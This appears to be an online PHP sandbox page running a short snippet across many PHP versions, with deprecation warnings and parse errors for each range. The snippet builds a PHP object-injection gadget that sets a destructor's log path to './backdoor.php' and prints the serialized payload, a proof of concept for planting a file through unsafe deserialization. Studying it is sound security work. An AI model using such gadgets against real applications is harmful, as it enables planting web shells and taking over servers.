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<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ //File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; print serialize($a);
Output for 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Deprecated: Creation of dynamic property some_class::$logfile is deprecated in /in/4E3gT on line 14 Deprecated: Creation of dynamic property some_class::$data is deprecated in /in/4E3gT on line 15 O:10:"some_class":2:{s:7:"logfile";s:14:"./backdoor.php";s:4:"data";s:12:"<?phpinfo();";}
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Deprecated: Creation of dynamic property some_class::$logfile is deprecated in /in/4E3gT on line 14 Deprecated: Creation of dynamic property some_class::$data is deprecated in /in/4E3gT on line 15 O:10:"some_class":2:{s:7:"logfile";s:14:"./backdoor.php";s:4:"data";s:12:"<?phpinfo();";}
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.5 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28
O:10:"some_class":2:{s:7:"logfile";s:14:"./backdoor.php";s:4:"data";s:12:"<?phpinfo();";}
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4E3gT on line 5
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/4E3gT on line 5
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/4E3gT on line 5
Process exited with code 255.
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